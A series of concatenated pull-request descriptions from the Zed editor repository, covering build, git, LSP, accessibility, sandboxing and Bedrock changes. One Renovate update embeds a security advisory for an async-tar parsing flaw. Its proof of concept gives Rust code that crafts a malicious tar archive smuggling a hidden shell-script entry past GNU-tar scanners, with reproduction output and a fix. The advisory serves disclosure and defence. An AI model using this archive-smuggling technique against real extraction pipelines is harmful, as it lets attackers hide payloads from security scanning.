# Objective
Unify dependencies inside of the root `Cargo.toml` to prevent versions
from going out of sync and creating copies of dependencies.
## Testing
- All tests pass, nothing touches the `Cargo.lock`
## Review
Review is easiest by going through commit by commit.
Release Notes:
- N/A or Added/Fixed/Improved ...
This reverts commit a98c7e2fa8.
# Objective
language detection is firing very often in channel notes, often picking
YAML instead of markdown, causing some language-detection flickering.
cc/ @amtoaer (author of the original PR)
# Objective
Closes#4868.
Untitled buffers start as Plain Text and require users to select a
language manually before receiving syntax highlighting. Add lightweight
automatic language detection for code entered or pasted into untitled
buffers.
## Solution
This builds on [Max Stevens's earlier language-detection
work](https://github.com/zed-industries/zed/pull/43057), replacing
Magika with [Betlang](https://github.com/DioxusLabs/betlang).
While researching smaller and faster alternatives to Magika, I came
across Betlang, a recently introduced language detection library
developed by DioxusLabs for dioxus-code. The fact that it comes from
DioxusLabs gave me more confidence in evaluating this relatively new
dependency for Zed. Betlang embeds an approximately 50 KB model, is
MIT-licensed, and depends only on `fearless_simd`, making it well suited
to Zed's cross-platform embedding requirements.
Detection runs on the background executor with bounded input sampling.
It is restricted to untitled buffers, skips content shorter than 20
bytes, and requires at least 50% confidence. These limits have worked
well in local testing. In release builds on Linux with an Intel Core
i5-13600KF, the `betlang::detect` call alone typically completes within
3 ms when processing the maximum sampled input.
## Testing
I added a test for language detection in untitled buffers that covers
both manually entered and pasted content. The test passes successfully.
I also manually tested the feature to verify that the overall experience
works well.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
## Showcase
https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7
---
Release Notes:
- Added automatic language detection for untitled buffers.
---------
Co-authored-by: Max Stevens <maxstevens2708@gmail.com>
Closes#60424
## Problem
With the repro from #60424, staging the first deletion hunk marked the
second deletion as staged in the UI even though git still had it
unstaged, and clicking the (incorrectly shown) Unstage button inserted a
duplicate copy of the hunk's contents into the git index on every click.
The root cause is ambiguous hunk placement. The committed text contains
repeated `end\n\n` line runs, so the deletion hunks can "slide": more
than one placement produces a minimal diff. The uncommitted diff (HEAD
vs worktree) anchored the remaining deletion at one row while the
unstaged diff (index vs worktree), recomputed after the partial stage,
anchored the same logical deletion at a different row. Everything that
correlates hunks across those two diffs assumes they agree on positions:
- the secondary-status matching in `hunks_intersecting_range_impl` found
no unstaged hunk at the uncommitted hunk's rows and reported it as
staged (`NoSecondaryHunk`);
- the worktree→index projection in `compute_uncommitted_index_edits`
treated the hunk's position as unchanged text and, on unstage, inserted
the hunk's HEAD content at an index position that already contained it,
duplicating it on every request.
## Fix
Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run
`Diff::postprocess_lines` (imara-diff's port of git's xdiff
slider/indent heuristic) after computing hunks in `buffer_diff`. This
canonicalizes the placement of ambiguous hunks based only on their local
content, so diffs of the same buffer against different base texts anchor
the same logical change at the same rows. A bonus is that Zed's hunk
placement now matches `git diff`'s output for such cases (git has used
the indent heuristic by default since 2.11).
As defense in depth, `compute_uncommitted_index_edits` now drops a
pure-insertion index edit whose content is already present at the target
position, so a stale secondary status can no longer duplicate index
content.
The imara-diff 0.2 API removed the `Sink` trait and the top-level
`diff()` function, so the other call sites (`language/text_diff.rs`,
`zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are
migrated mechanically to `Diff::compute` + `hunks()` with unchanged
behavior (0.2 also renamed `lines_with_terminator` to `lines` and
changed the default `&str` tokenization to include terminators; the
unified-diff builders keep terminator-less tokens via `str::lines()`).
## Testing
- New regression test `test_staging_hunks_with_ambiguous_placement`
replays the exact repro from #60424 (same file contents): stages the
first deletion, asserts the remaining hunks keep their unstaged status
and the index matches exactly, then issues repeated unstage requests for
the unstaged hunk and asserts the index is unchanged. Before the fix
this test showed the second hunk flipping to staged and the index
growing by one copy of the deleted block per unstage request.
- `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`,
`multi_buffer`, `git_ui`, `editor`, and the `project` integration suite
pass.
- One test expectation updated: `editor::test_fold_function_bodies`
asserted the old placement of an ambiguous deletion (blank line before
comment); the canonicalized placement (comment before blank line)
matches what `git diff` produces for the same texts.
Release Notes:
- Fixed staging a hunk sometimes marking a different hunk as staged (and
subsequent unstaging corrupting the git index) when the diff contained
repeated lines
([#60424](https://github.com/zed-industries/zed/issues/60424)).
---------
Co-authored-by: Cole Miller <cole@zed.dev>
This PR relaxes the workspace `core-foundation` pin from an exact
`=0.10.0` to `0.10`.
I am not sure why this is pinned - digging a bit did not turn up any
specific reason so I have to assume it was not on purpose. At the moment
you cannot use gpui with nusb 0.2 (which is muuuuuch improved over 0.1,
it's not a cosmetic update) for example because of this restriction.
I would much appreciate if this relaxation was in the realm of
possibilities :)
Release Notes:
- N/A
# Objective
Closes#59829
Provide a filterable, preview-backed picker for LSP results as an
alternative to the multi-buffer view, for references, definitions,
implementations.
## Solution
Update the 3 existing LSP actions (definitions, implementations, find
all references) to add a `open_results_in` parameter which accepts
either `multi_buffer` (default) or `picker` to show the results in a
filterable picker with preview. This behavior can be configured globally
in the settings via `lsp_results_location`.
UX:
- The 3 existing LSP actions each accept a `open_results_in` parameter
so that each action can be configuring individually with a custom
keybind
- The `lsp_results_location` global setting can be used to set a default
behavior with `open_results_in == None`
- Go to definition falls back to find all references (if configured) on
empty results which is consistent with the non-picker path
- Results are grouped by file; each row shows the line number and the
syntax-highlighted source line with the match emphasized.
- Typing filters by line text or path; the preview updates with the
selection.
- Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split,
and re-invoking the command toggles the picker closed.
- Empty results show a toast so the command never silently does nothing.
- Note: the new pickers do not open on cmd-click, only when invoked via
the command palette or keybind
## Testing
- No automated tests yet — holding for first-round feedback on the
approach and UX before adding tests.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable
## Showcase
https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8
---
Release Notes:
- The find all references, go to definitions, and go to implementations
LSP actions can be configured to open results in a picker with preview
instead of a multibuffer.
This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.
Release Notes:
- N/A or Added/Fixed/Improved ...
This PR contains the following updates:
| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |
---
> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.
---
### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
<details>
<summary>More information</summary>
#### Details
##### Summary
`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.
An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.
Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.
##### Affected code
Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.
`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):
```rust
let file_pos = *next;
let mut header = current_header.take().unwrap();
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data { // <-- no is_extension_header guard
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
let Some(key) = extension.key().ok() else { continue };
match key {
"size" => {
let size_str = extension.value()
.map_err(|_e| other("failed to parse pax size as string"))?;
size = size_str.parse::<u64>()
.map_err(|_e| other("failed to parse pax size"))?;
}
"uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
"gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
_ => { continue }
}
}
}
let data = EntryIo::Data(archive.clone().take(size)); // body length = mis-applied PAX size
```
and a few lines further down the same function:
```rust
// Store where the next entry is, rounding up by 512 bytes.
let size = (size + 511) & !(512 - 1);
*next += size; // cursor advance = mis-applied PAX size
```
The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.
The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).
##### Impact
Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:
- materialize files / file contents that a POSIX-correct parser (GNU
tar,
libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.
This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.
##### How input reaches the sink (reachability)
The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.
##### Proof of concept
A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.
Malicious archive geometry (block = 512 bytes):
```
B0 x PAX local-extension header, records declare size=1024 (= 2 blocks)
B1 PAX records ("<len> size=1024\n")
B2 L GNU longname header, OWN declared size = 512 (= 1 block)
B3 longname block #​1 = "GNU_SEES_THIS.txt\0..." (the name GNU tar uses)
B4 a normal file header "placeholder_A" (size 512)
B5 <-- this block IS a valid tar header for the smuggled file
"hidden_payload.sh" (size 65)
B6 smuggled payload "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8 two zero blocks (EOF)
```
GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).
Tar-builder source (`mktar.rs`):
```rust
use std::io::Write;
const BLOCK: usize = 512;
fn octal(buf: &mut [u8], v: u64) {
let s = format!("{:0width$o}", v, width = buf.len() - 1);
let b = s.as_bytes();
buf[..b.len()].copy_from_slice(b);
buf[b.len()] = 0;
}
fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
let mut h = [0u8; BLOCK];
let n = name.len().min(100);
h[..n].copy_from_slice(&name[..n]);
octal(&mut h[100..108], 0o644);
octal(&mut h[108..116], 0);
octal(&mut h[116..124], 0);
octal(&mut h[124..136], size);
octal(&mut h[136..148], 0);
h[156] = typeflag;
if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar \0"); }
else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
for b in &mut h[148..156] { *b = b' '; }
let sum: u32 = h.iter().map(|b| *b as u32).sum();
h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
h
}
fn pad(out: &mut Vec<u8>, len: usize) {
let rem = len % BLOCK;
if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
fn pax_record(key: &str, val: &str) -> Vec<u8> {
let mut len = key.len() + val.len() + 3;
loop {
let s = format!("{} {}={}\n", len, key, val);
if s.len() == len { return s.into_bytes(); }
len = s.len();
}
}
fn name_block(name: &[u8]) -> Vec<u8> { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }
fn write_block(out: &mut Vec<u8>, data: &[u8]) { out.extend_from_slice(data); pad(out, data.len()); }
fn build_malicious() -> Vec<u8> {
let mut out = Vec::new();
let gnu_name = b"GNU_SEES_THIS.txt";
let spoof = (BLOCK * 2) as u64;
let mut recs = Vec::new();
recs.extend(pax_record("size", &spoof.to_string()));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
out.extend_from_slice(&header(b"././@​LongLink", BLOCK as u64, b'L'));
out.extend_from_slice(&name_block(gnu_name)); // B3
out.extend_from_slice(&header(b"placeholder_A", BLOCK as u64, b'0')); // B4
let smuggled_body = b"#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n".to_vec();
out.extend_from_slice(&header(b"hidden_payload.sh", smuggled_body.len() as u64, b'0')); // B5
write_block(&mut out, &smuggled_body); // B6
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn build_benign() -> Vec<u8> {
let mut out = Vec::new();
let mut recs = Vec::new();
recs.extend(pax_record("path", "normal_file.txt"));
out.extend_from_slice(&header(b"./PaxHeaders/0", recs.len() as u64, b'x'));
write_block(&mut out, &recs);
let body = b"plain benign content\n".to_vec();
out.extend_from_slice(&header(b"normal_file.txt", body.len() as u64, b'0'));
write_block(&mut out, &body);
let body2 = b"second benign file\n".to_vec();
out.extend_from_slice(&header(b"second.txt", body2.len() as u64, b'0'));
write_block(&mut out, &body2);
out.extend(std::iter::repeat(0u8).take(BLOCK * 2));
out
}
fn main() {
let a: Vec<String> = std::env::args().collect();
let bytes = match a[1].as_str() { "malicious" => build_malicious(), "benign" => build_benign(), _ => std::process::exit(2) };
std::fs::File::create(&a[2]).unwrap().write_all(&bytes).unwrap();
}
```
Consumer source (`main.rs`, mirrors a real `Archive::entries()`
extraction loop):
```rust
use async_tar::Archive;
use tokio::fs;
use tokio::io::AsyncReadExt;
use tokio_stream::StreamExt;
#[tokio::main(flavor = "multi_thread", worker_threads = 2)]
async fn main() {
let args: Vec<String> = std::env::args().collect();
let dest = std::path::PathBuf::from(&args[2]);
fs::create_dir_all(&dest).await.unwrap();
let bytes = fs::read(&args[1]).await.unwrap();
let archive = Archive::new(std::io::Cursor::new(bytes));
let mut entries = archive.entries().expect("entries()");
let mut idx = 0usize;
while let Some(entry) = entries.next().await {
let mut file = match entry { Ok(f) => f, Err(e) => { println!("[async-tar] ERROR: {e}"); break } };
let path_raw = file.path().expect("path").into_owned();
let path_disp = path_raw.to_string_lossy().split('\u{0}').next().unwrap_or("").to_string();
let hdr_size = file.header().size().unwrap_or(0);
let mut out = dest.clone();
for comp in std::path::PathBuf::from(&path_disp).components() {
if let std::path::Component::Normal(p) = comp { out.push(p); }
}
let mut body = Vec::new();
let read = file.read_to_end(&mut body).await.unwrap_or(0);
if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }
let _ = fs::write(&out, &body).await;
let preview: String = body.iter().take(48)
.map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();
println!("[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\"{preview}\"", path_disp);
idx += 1;
}
println!("[async-tar] total entries surfaced: {idx}");
}
```
`Cargo.toml`:
```toml
[dependencies]
async-tar = { version = "=0.6.0", default-features = false, features = ["runtime-tokio"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "io-util", "fs"] }
tokio-stream = "0.1"
futures = "0.3"
```
##### End-to-end reproduction
Reference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release
linked by
the consumer binary above. Verbatim captured output:
```
$ cargo build --release # links async-tar v0.6.0 from crates.io
Compiling async-tar v0.6.0
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s) in 10.12s
$ ./target/release/mktar malicious mal.tar
wrote 4608 bytes to mal.tar
##### ---- (A) GNU tar reference: list + extract ----
$ gtar tvf mal.tar ; echo "rc=$?"
-rw-r--r-- 0/0 1024 1970-01-01 08:00 GNU_SEES_THIS.txt
rc=0
$ gtar xf mal.tar -C /tmp/gnu_x ; echo "rc=$?"
rc=0
$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt
hidden_payload.sh
##### (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header
##### bytes of B5 — a GNU-tar-based scanner sees only benign noise.)
##### ---- (B) async-tar v0.6.0 consumer: extract ----
$ ./target/release/extract mal.tar /tmp/at_mal
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=65 bytes_read=1024 body="#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t"
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt
#!/bin/sh
##### SMUGGLED ENTRY: invisible to a GNU-tar-based scanner
```
Same bytes, two parsers, different on-disk result: GNU tar writes a
1024-byte
benign blob; `async-tar` writes a 65-byte executable shell script that
the
reference parser never exposes as an entry. The smuggled `#!/bin/sh`
body is
content a GNU-tar-based scanner would never inspect.
Negative control — a benign archive (correct PAX usage: `x` applies
`path` to the
following file, no intermediary `L`):
```
$ ./target/release/mktar benign ben.tar
$ gtar tvf ben.tar ; echo "rc=$?"
-rw-r--r-- 0/0 21 1970-01-01 08:00 normal_file.txt
-rw-r--r-- 0/0 19 1970-01-01 08:00 second.txt
rc=0
$ ./target/release/extract ben.tar /tmp/at_ben
[async-tar] entry#0 path="normal_file.txt" hdr_size=21 bytes_read=21 body="plain benign content."
[async-tar] entry#1 path="second.txt" hdr_size=19 bytes_read=19 body="second benign file."
[async-tar] total entries surfaced: 2
```
GNU tar and `async-tar` produce identical entry lists and identical
on-disk files.
No smuggling. The differential is exclusive to the `x → L → file` desync
sequence.
##### Fix
Apply the buffered PAX records (and the `size`/`uid`/`gid` overrides)
only when
the raw header being sized is NOT itself an extension header. Skip the
override
for GNU longname (`L`), GNU longlink (`K`), and PAX local/global
(`x`/`g`) headers,
whose body length must come from their own declared size. This mirrors
the fix
adopted in the upstream tar-rs / tokio-tar lineage for the same defect
class.
```rust
// when pax extensions are available, the size should come from there.
let mut size = header.entry_size()?;
// PAX extensions describe the NEXT file entry, not an intermediary
// extension header. Applying a buffered PAX `size` to such an intermediary
// header (L/K/x/g) advances the stream cursor by the wrong amount and
// desyncs the parse.
let entry_type = header.entry_type();
let is_extension_header = entry_type.is_gnu_longname()
|| entry_type.is_gnu_longlink()
|| entry_type.is_pax_local_extensions()
|| entry_type.is_pax_global_extensions();
// the size above will be overriden by the pax data if it has a size field.
// same for uid and gid, which will be overridden in the header itself.
if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {
let pax = pax_extensions(pax_extensions_data);
for extension in pax {
// unchanged: same size/uid/gid override loop as before
}
}
```
Fix-verify, captured verbatim. The patched `async-tar` (guard added)
re-run
against the same `mal.tar`:
```
$ cargo build --release # [patch.crates-io] async-tar = { path = "../async-tar-patched" }
Compiling async-tar v0.6.0 (.../async-tar-patched)
Compiling async-tar-consumer v0.1.0
Finished `release` profile [optimized] target(s)
$ ./target/release/extract mal.tar /tmp/at_fix
[async-tar] entry#0 path="GNU_SEES_THIS.txt" hdr_size=512 bytes_read=1024 body="hidden_payload.sh..............................."
[async-tar] total entries surfaced: 1
$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt
hidden_payload.sh
```
With the guard, `async-tar`'s view converges with GNU tar's: it surfaces
`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as
data, and
no longer extracts the smuggled executable script. The benign control
still
produces the correct two-file output. The desync is eliminated.
##### Fix PR
A fix PR adding the `is_extension_header` guard to `poll_next_raw` in
`src/archive.rs` is opened from the advisory's temporary private fork
against this
repository. It carries the diff shown in the **Fix** section above (no
behavioural
change for well-formed archives; only intermediary `L`/`K`/`x`/`g`
headers stop
inheriting a following PAX `size`).
##### Credit
Reported by tonghuaroot.
#### Severity
- CVSS Score: 6.3 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`
#### References
-
[https://github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/dignifiedquire/async-tar/security/advisories/GHSA-35rm-7j9c-2f7m)
-
[https://github.com/advisories/GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>
---
### Release Notes
<details>
<summary>dignifiedquire/async-tar (async-tar)</summary>
###
[`v0.6.1`](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)
[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.6.0...v0.6.1)
###
[`v0.6.0`](https://redirect.github.com/dignifiedquire/async-tar/releases/tag/v0.6.0):
- Tokio Support
[Compare
Source](https://redirect.github.com/dignifiedquire/async-tar/compare/v0.5.1...v0.6.0)
</details>
---
### Configuration
📅 **Schedule**: (in timezone America/New_York)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
Release Notes:
- N/A
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNDIuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI0Mi4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6W119-->
---------
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
Fixes menu a11y, and adds landmarks with `F6`-navigation.
Also fixes a GPUI bug, and adds debug actions for dumping a11y tree
info.
Since `F6` was already in use by the pause debugger keybind, also
tightens up the debugger keybind context so they require an active
debugger session. When there is one active, `F6` stays as pause
debugger. `ctrl-F6` always works to go to the next landmark.
Also adds an "accessible mode" setting. Currently, this only controls
whether we show all menus all the time, but I suspect it will expand
significantly in the future.
Also adds `.aria_keyshortcuts()` API, but it's not wired up within
accesskit adapters, so is not yet reported to screen readers.
---
Release Notes:
- N/A or Added/Fixed/Improved ...
# Objective
Every build of zed (and of every downstream gpui consumer) currently
compiles rav1e, a full AV1 video encoder, because `image`'s default
`avif` feature is enabled. That feature only provides `AvifEncoder`;
AVIF *decoding* requires the separate, non-default `avif-native` feature
(dav1d). So AVIF files do not decode anywhere in zed today, nothing
encodes AVIF (`AvifEncoder` has zero references in the repo), and rav1e
plus its support crates are dead weight in every clean build.
## Solution
Pin the workspace `image` dependency to its default feature set minus
`avif`.
No behavior changes: AVIF files fail to decode exactly as before, and
`ImageFormat::Avif` still exists (the enum is not feature-gated), so the
`image_viewer` match arm compiles unchanged. The `"avif"` entry in
gpui's supported-extension list is deliberately left untouched to keep
the diff minimal; loading such files fails identically before and after.
## Testing
- `cargo metadata` node diff (before vs after, all 1832 resolved
packages): the only change in the entire graph is `image` losing
`avif`/`default`/`default-formats`.
- `cargo tree -i rav1e` on the Linux host, plus `--target
aarch64-apple-darwin` and `--target x86_64-pc-windows-msvc`: no reverse
dependencies on any platform.
- `rg -i avif crates/` finds only string labels (an extension list in
`gpui`, a format name in `image_viewer`, an icon mapping in `theme`);
`AvifEncoder` is never referenced.
- `cargo check -p gpui` passes.
- Isolated probe crate depending on image 0.25.10 alone (cold builds,
Linux, 16 threads), default vs default-minus-avif: release drops from
191 to 122 CPU-seconds and 282 to 191 MB of `target/`; debug drops from
75 to 42 CPU-seconds and 549 to 342 MB.
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments (n/a:
manifest-only change)
- [x] The content adheres to Zed's UI standards (n/a: no UI change)
- [x] Tests cover the new/changed behavior (no behavior change; CI
covers compilation)
- [x] Performance impact has been considered and is acceptable
(build-time improvement only)
---
Release Notes:
- N/A
Closes security loopholes and updates docs:
- installs seccomp filter for blocking naughty syscalls
- tightens macos seatbelt profile
- fetch tool responses that redirect are now constrained by allowed
domains list
Also adds a few "Learn More" buttons that link to the new docs.
Also fixes a bug where the agent would try to create a
`~/.config/zed/AGENTS.md` directory
Also adds unicode confusable detection to URL/path privilege escalation
prompts.
---
Release Notes:
- N/A or Added/Fixed/Improved ...
---------
Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes#43396
Release Notes:
- Project search now supports CRLF line endings correctly, as well as
other regex features like subroutine calls
Adds native support for AWS Bedrock's Mantle endpoint
(`bedrock-mantle`), which serves models with no `Converse`/`Invoke`
support on `bedrock-runtime`, such as GPT-5.5, GPT-5.4, and Grok 4.3 but
more importantly **open-weight** models
Closes#60471
## What's changed
- Renamed the existing `Model` enum in the `bedrock` crate to
`ConverseModel`, and added a new `MantleModel` enum for Mantle-only
models. Mantle models reuse the existing OpenAI-compatible Chat
Completions/Responses request and response plumbing
(`into_open_ai`/`into_open_ai_response`,
`OpenAiEventMapper`/`OpenAiResponseEventMapper`) already used by the
native OpenAI and OpenAI-compatible providers, rather than introducing
new marshalling code.
- Added a `BedrockMantleModel` language model that routes requests to
the `bedrock-mantle` endpoint, dispatching to Chat Completions or the
Responses API depending on the model. Mantle models appear in the model
picker alongside Converse models under the same Bedrock provider.
- Added region gating: `bedrock-mantle` is only available in a subset of
AWS Regions, so using a Mantle model outside of them surfaces a clear
error naming the current Region and the supported ones, instead of an
opaque HTTP failure.
- Implemented Bedrock bearer token authentication for Mantle requests: a
configured Bedrock API key is used as-is, and every other auth method
(IAM credentials, named profile, SSO, automatic) derives a short-term
token by locally SigV4-presigning a `CallWithBearerToken` request. This
requires no extra network round trip and no token caching, since
re-signing locally is cheap.
- Added a specific error for the 403 you get when your credentials have
`bedrock:CallWithBearerToken` but not the separate
`bedrock-mantle:CallWithBearerToken` permission Mantle models require,
since this is the most common misconfiguration.
- Added a `mantle_available_models` setting so custom models served
through `bedrock-mantle` can be configured, the same way other providers
support custom models via `available_models`.
- Documented Mantle models and the new setting in the Amazon Bedrock
section of [Use a
Gateway](https://zed.dev/docs/ai/use-a-gateway#amazon-bedrock).
## Testing
- Added unit tests covering: the local SigV4 bearer-token signing
(including a byte-for-byte cross-check against a reference
implementation), Mantle endpoint URL construction, the
Mantle-supported-regions list, thinking-effort normalization, and the
settings-to-model protocol mapping.
- `cargo test -p bedrock -p language_models -p settings_content -p
settings` passes.
- `./script/clippy` passes with no new warnings.
Release Notes:
